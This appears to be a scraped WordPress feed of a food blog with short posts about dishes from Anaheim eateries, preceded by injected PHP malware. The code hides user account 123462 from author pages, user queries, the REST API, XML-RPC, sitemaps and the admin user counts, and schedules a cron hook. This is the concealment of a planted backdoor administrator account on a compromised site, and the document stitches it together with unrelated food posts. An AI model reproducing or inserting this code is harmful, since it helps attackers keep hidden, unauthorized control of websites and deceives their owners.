add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Pepperoni Pizza From Italian Pizza Rosa first appeared on Damn That Looks Good.
]]>
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post Pepperoni Pizza From Italian Pizza Rosa first appeared on Damn That Looks Good.
]]>The post Appetizer Plate From Slater's 50/50 first appeared on Damn That Looks Good.
]]>
French fries, onion strings, and fried pickle chips. Served with ranch dressing.
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post Appetizer Plate From Slater's 50/50 first appeared on Damn That Looks Good.
]]>The post Monte Cristo Sandwich From Cafe Orleans first appeared on Damn That Looks Good.
]]>
Loaded with thinly sliced turkey, ham, and swiss cheese, then covered in a light batter and deep fried and dusted with powdered sugar. It is severed with a side of berry puree.
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post Monte Cristo Sandwich From Cafe Orleans first appeared on Damn That Looks Good.
]]>The post BBQ From Blake's Place BBQ first appeared on Damn That Looks Good.
]]>
BBQ pulled chicken, BBQ ribs, macaroni and cheese, and baked beans.
Pulled pork, smoked sausage, beef brisket, baked beans, and macaroni and cheese.
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post BBQ From Blake's Place BBQ first appeared on Damn That Looks Good.
]]>The post Pommes Frites From Cafe Orleans first appeared on Damn That Looks Good.
]]>
French fries covered in garlic, parmesan cheese, and fresh parsley. Served with a cajun-spiced remoulade.
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post Pommes Frites From Cafe Orleans first appeared on Damn That Looks Good.
]]>The post Irish Fries & Chili Cheese Fries From The Spud Runner Food Truck first appeared on Damn That Looks Good.
]]>
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post Irish Fries & Chili Cheese Fries From The Spud Runner Food Truck first appeared on Damn That Looks Good.
]]>The post Banana & Caramel Crepe first appeared on Damn That Looks Good.
]]>
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post Banana & Caramel Crepe first appeared on Damn That Looks Good.
]]>The post Turkey Sandwich From Hungry Bear first appeared on Damn That Looks Good.
]]>
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post Turkey Sandwich From Hungry Bear first appeared on Damn That Looks Good.
]]>The post The Ballpark From Slater's 50/50 first appeared on Damn That Looks Good.
]]>
Burger covered in chili, cheese sauce, 1000 island dressing, and fresh onions.
Photo courtesy of Papakaster Eatin.
Anaheim, California
The post The Ballpark From Slater's 50/50 first appeared on Damn That Looks Good.
]]>